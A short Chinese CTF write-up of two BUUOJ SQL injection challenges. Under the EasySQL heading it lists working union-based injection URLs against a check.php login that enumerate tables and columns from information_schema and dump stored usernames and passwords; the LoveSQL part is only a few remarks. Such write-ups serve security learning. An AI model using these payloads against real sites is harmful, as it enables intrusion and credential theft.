[BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)

文章目录


前言:有时候使用#符号会没用,可以用url编码代替%23,基础注入与报错注入都可以解除来这两道题,判断是否为字符型懒得记录下来

EasySQL

通过order by得到有3列
/check.php?username=1' union select 4,2,3%23&password=1
[BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)
得到回显点位为2和3,查询当前数据库名及版本
开始爆表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
[BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
[BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)
得到数据与Flag:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

LoveSQL

至于是数字型还是字符型不想写下来记录
首先利用order by查出有三列
迷惑行为,非预期解
[BUUOJ]两道简单的SQL注入(EasySQL与LoveSQL)